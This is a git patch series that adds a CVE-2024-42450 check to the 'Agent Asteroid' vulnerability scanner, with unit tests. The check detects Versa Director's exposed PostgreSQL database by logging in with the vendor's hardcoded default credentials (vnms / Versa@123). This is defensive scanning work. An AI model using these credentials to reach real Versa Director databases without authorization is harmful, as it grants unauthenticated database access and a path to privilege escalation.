From 513391e245ca4dd608b7ef4ab828581e0154519e Mon Sep 17 00:00:00 2001 From: pirahnasa Date: Mon, 25 Nov 2024 18:18:45 +0100 Subject: [PATCH 1/4] Add CVE-2024-42450 --- agent/exploits/cve_2024_42450.py | 79 +++++++++++++++++++ requirement.txt | 3 +- tests/exploits/cve_2024_42450_test.py | 107 ++++++++++++++++++++++++++ tests/test-requirement.txt | 3 +- 4 files changed, 190 insertions(+), 2 deletions(-) create mode 100644 agent/exploits/cve_2024_42450.py create mode 100644 tests/exploits/cve_2024_42450_test.py diff --git a/agent/exploits/cve_2024_42450.py b/agent/exploits/cve_2024_42450.py new file mode 100644 index 00000000..7d8dbca1 --- /dev/null +++ b/agent/exploits/cve_2024_42450.py @@ -0,0 +1,79 @@ +"""Agent Asteroid implementation for CVE-2024-42450""" + +import re +import datetime + +import psycopg + +from agent import definitions +from agent import exploits_registry +from agent.exploits import webexploit + + +DBNAME = "vnms" +USER = "vnms" +PASSWORD = "Versa@123" +DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) + +VULNERABILITY_TITLE = "Versa Director Database exposure" +VULNERABILITY_REFERENCE = "CVE-2024-42450" +VULNERABILITY_DESCRIPTION = ( + "The Versa Director uses PostgreSQL (Postgres) to store operational and configuration data. " + "It is also needed for High Availability function of the Versa Director. " + "The default configuration has a common password across all instances of Versa Director. " + "By default, Versa Director configures Postgres to listen on all network interfaces. " + "This combination allows an unauthenticated attacker to access and administer the database " + "or read local filesystem contents to escalate privileges on the system." +) +RISK_RATING = "CRITICAL" + + +def _check_db_connection(host: str, dbname: str, user: str, password: str) -> bool: + """ + Attempts to connect to a PostgreSQL database and checks if the connection is successful. + + Args: + host : Database host (e.g., 'localhost'). + dbname : Database name. + user : Database username. + password : Database password. + + Returns: + True if the connection is successful, False otherwise. + """ + try: + # Attempt to connect to the database + connection = psycopg.connect( + host=host, + dbname=dbname, + user=user, + password=password, + connect_timeout=DEFAULT_TIMEOUT.seconds, + ) + # Check the connection status + if connection is not None: + return True + except psycopg.OperationalError as e: + return False + + +@exploits_registry.register +class CVE202442450Exploit(webexploit.WebExploit): + accept_request = definitions.Request(method="GET", path="/versa/login") + accept_pattern = [re.compile("Versa Director")] + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + vulnerabilities: list[definitions.Vulnerability] = [] + + if _check_db_connection(target.host, DBNAME, USER, PASSWORD) is True: + vulnerability = self._create_vulnerability(target) + vulnerabilities.append(vulnerability) + + return vulnerabilities + + metadata = definitions.VulnerabilityMetadata( + title=VULNERABILITY_TITLE, + description=VULNERABILITY_DESCRIPTION, + reference=VULNERABILITY_REFERENCE, + risk_rating=RISK_RATING, + ) diff --git a/requirement.txt b/requirement.txt index f3f04598..ea18151e 100644 --- a/requirement.txt +++ b/requirement.txt @@ -10,4 +10,5 @@ impacket pysnmp==4.4.6 pyasn1==0.6.0 jaydebeapi -cloudscraper \ No newline at end of file +cloudscraper +psycopg \ No newline at end of file diff --git a/tests/exploits/cve_2024_42450_test.py b/tests/exploits/cve_2024_42450_test.py new file mode 100644 index 00000000..6dd8dab6 --- /dev/null +++ b/tests/exploits/cve_2024_42450_test.py @@ -0,0 +1,107 @@ +"""Unit tests for Agent Asteroid: CVE-2024-42450""" + +from unittest import mock + +from pytest_mock import plugin +import requests_mock as req_mock +import psycopg + +from agent import definitions +from agent.exploits import cve_2024_42450 + + +def testCVE202442450_whenVulnerable_reportFinding( + mocker: plugin.MockerFixture, + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2024-42450 unit test: case when target is vulnerable.""" + + mock_check_db_connection = mocker.patch( + "agent.exploits.cve_2024_42450._check_db_connection", return_value=True + ) + requests_mock.get( + "http://localhost:80/versa/login", + text="""Versa Director Login

2022 Versa Networks | All Rights Reserved

""", + status_code=200, + ) + + exploit_instance = cve_2024_42450.CVE202442450Exploit() + + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 1 + vulnerability = vulnerabilities[0] + assert vulnerability.entry.title == cve_2024_42450.VULNERABILITY_TITLE + assert vulnerability.entry.risk_rating == "CRITICAL" + assert vulnerability.technical_detail == ( + "http://localhost:80 is vulnerable to CVE-2024-42450, Versa Director Database exposure" + ) + mock_check_db_connection.assert_called_once_with( + "localhost", "vnms", "vnms", "Versa@123" + ) + + +def testCVE202442450_whenSafe_reportNothing( + mocker: plugin.MockerFixture, + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2024-42450 unit test: case when target is not vulnerable.""" + + mock_check_db_connection = mocker.patch( + "agent.exploits.cve_2024_42450._check_db_connection", return_value=False + ) + requests_mock.get( + "http://localhost:80/versa/login", + text="""Versa Director Login

2022 Versa Networks | All Rights Reserved

""", + status_code=200, + ) + + exploit_instance = cve_2024_42450.CVE202442450Exploit() + + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 0 + mock_check_db_connection.assert_called_once_with( + "localhost", "vnms", "vnms", "Versa@123" + ) + + +def testCVE202442450_whenDBError_handleGracefully( + mocker: plugin.MockerFixture, requests_mock: req_mock.mocker.Mocker, caplog +) -> None: + """CVE-2024-42450 unit test: case when database connection fails gracefully.""" + + mock_check_db_connection = mocker.patch( + "psycopg.connect", + side_effect=psycopg.OperationalError("Database connection error"), + ) + requests_mock.get( + "http://localhost:80/versa/login", + text="""Versa Director Login

2022 Versa Networks | All Rights Reserved

""", + status_code=200, + ) + + exploit_instance = cve_2024_42450.CVE202442450Exploit() + + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + vulnerabilities = exploit_instance.check(target) + + assert accept is True + assert len(vulnerabilities) == 0 + assert mock_check_db_connection.call_args_list[0][1] == { + "connect_timeout": 90, + "dbname": "vnms", + "host": "localhost", + "password": "Versa@123", + "user": "vnms", + } diff --git a/tests/test-requirement.txt b/tests/test-requirement.txt index d43a8cb4..19db5aea 100644 --- a/tests/test-requirement.txt +++ b/tests/test-requirement.txt @@ -6,4 +6,5 @@ typing-extensions requests_mock types-requests pytest_mock -ruff \ No newline at end of file +ruff +psycopg \ No newline at end of file From 3893a002d9b22541b44face89ba07bf28219075e Mon Sep 17 00:00:00 2001 From: pirahnasa Date: Mon, 25 Nov 2024 18:21:22 +0100 Subject: [PATCH 2/4] fix mypy --- tests/exploits/cve_2024_42450_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/exploits/cve_2024_42450_test.py b/tests/exploits/cve_2024_42450_test.py index 6dd8dab6..d5ea4e08 100644 --- a/tests/exploits/cve_2024_42450_test.py +++ b/tests/exploits/cve_2024_42450_test.py @@ -75,7 +75,7 @@ def testCVE202442450_whenSafe_reportNothing( def testCVE202442450_whenDBError_handleGracefully( - mocker: plugin.MockerFixture, requests_mock: req_mock.mocker.Mocker, caplog + mocker: plugin.MockerFixture, requests_mock: req_mock.mocker.Mocker ) -> None: """CVE-2024-42450 unit test: case when database connection fails gracefully.""" From 96eb4f821e480333748f7e6ce5c56fc5fa5799fd Mon Sep 17 00:00:00 2001 From: pirahnasa Date: Mon, 25 Nov 2024 18:22:13 +0100 Subject: [PATCH 3/4] fix mypy --- tests/exploits/cve_2024_42450_test.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/tests/exploits/cve_2024_42450_test.py b/tests/exploits/cve_2024_42450_test.py index d5ea4e08..0a5c04a4 100644 --- a/tests/exploits/cve_2024_42450_test.py +++ b/tests/exploits/cve_2024_42450_test.py @@ -1,7 +1,5 @@ """Unit tests for Agent Asteroid: CVE-2024-42450""" -from unittest import mock - from pytest_mock import plugin import requests_mock as req_mock import psycopg From 02843567617bb50ab5fadb756eb3e0bc4d84199f Mon Sep 17 00:00:00 2001 From: pirahnasa Date: Tue, 26 Nov 2024 09:41:15 +0100 Subject: [PATCH 4/4] fix mypy --- agent/exploits/cve_2024_42450.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/exploits/cve_2024_42450.py b/agent/exploits/cve_2024_42450.py index 7d8dbca1..b342e6b0 100644 --- a/agent/exploits/cve_2024_42450.py +++ b/agent/exploits/cve_2024_42450.py @@ -53,7 +53,7 @@ def _check_db_connection(host: str, dbname: str, user: str, password: str) -> bo # Check the connection status if connection is not None: return True - except psycopg.OperationalError as e: + except psycopg.OperationalError: return False